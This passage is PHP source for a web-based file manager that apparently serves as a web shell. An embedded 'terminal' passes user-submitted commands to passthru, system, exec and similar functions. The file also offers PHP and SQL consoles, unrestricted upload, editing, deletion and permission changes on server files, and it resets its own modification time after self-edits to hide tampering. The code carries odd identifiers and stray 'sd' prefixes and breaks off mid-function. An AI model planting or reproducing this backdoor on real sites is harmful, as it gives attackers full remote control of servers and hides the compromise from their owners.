	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
